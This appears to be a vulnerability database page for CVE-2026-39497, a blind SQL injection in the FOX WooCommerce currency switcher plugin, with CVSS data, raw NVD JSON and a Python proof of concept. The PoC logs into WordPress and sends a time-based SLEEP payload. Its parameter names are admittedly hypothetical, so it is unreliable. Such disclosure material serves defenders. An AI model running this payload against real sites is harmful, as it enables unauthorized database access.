Security Vulnerability Report
中文
CVE-2026-39497 CVSS 7.6 HIGH

CVE-2026-39497

Published: 2026-04-08 09:16:24
Last Modified: 2026-04-24 18:08:35

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in RealMag777 FOX woocommerce-currency-switcher allows Blind SQL Injection.This issue affects FOX: from n/a through <= 1.4.5.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

FOX woocommerce-currency-switcher <= 1.4.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-39497 (Blind SQL Injection) # Note: This requires authentication (High Privilege) and valid CSRF tokens. import requests import time # Configuration (Replace with actual target URL and credentials) target_url = "http://example.com/wp-admin/admin-ajax.php" username = "admin" password = "password" login_url = "http://example.com/wp-login.php" def login(): session = requests.Session() # Perform login to get authenticated cookies payload = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } session.post(login_url, data=payload) return session def exploit_sqli(session): # Vulnerable parameter example (hypothetical based on description) # Payload checks if the response takes longer than 5 seconds payload = { 'action': 'fox_currency_switcher', 'currency_id': "1' AND (SELECT SLEEP(5))-- -" } start_time = time.time() response = session.post(target_url, data=payload) end_time = time.time() if end_time - start_time >= 5: print("[+] Vulnerability confirmed: Database response delayed.") else: print("[-] Vulnerability not detected or payload invalid.") if __name__ == "__main__": sess = login() exploit_sqli(sess)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39497", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:24.090", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in RealMag777 FOX woocommerce-currency-switcher allows Blind SQL Injection.This issue affects FOX: from n/a through <= 1.4.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/woocommerce-currency-switcher/vulnerability/wordpress-fox-plugin-1-4-5-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}